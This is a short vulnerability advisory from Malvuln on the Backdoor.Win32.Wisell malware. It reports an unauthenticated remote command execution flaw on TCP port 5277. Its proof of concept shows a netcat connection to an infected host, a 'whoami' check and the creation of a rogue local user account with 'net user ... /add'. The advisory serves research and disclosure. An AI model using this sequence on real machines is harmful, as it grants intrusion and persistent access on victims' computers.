Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/57bda78cc5fd6a06017148bae28e8e39.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Wisell Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP port 5277. Third-party attackers who can reach an infected system can run any OS commands further compromising the host. Type: PE32 MD5: 57bda78cc5fd6a06017148bae28e8e39 Vuln ID: MVID-2022-0460 Disclosure: 01/19/2022 Exploit/PoC: nc64.exe x.x.x.x 5277 WinShell v1.0 - '!' to quit, 'enter' to shell... Microsoft Windows [Version 10.0.16299.309] (c) 2017 Microsoft Corporation. All rights reserved. C:\dump>whoami whoami desktop-2c3iqho\victim C:\dump>net user HYP3RLINX 666 /add net user HYP3RLINX 666 /add The command completed successfully. Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).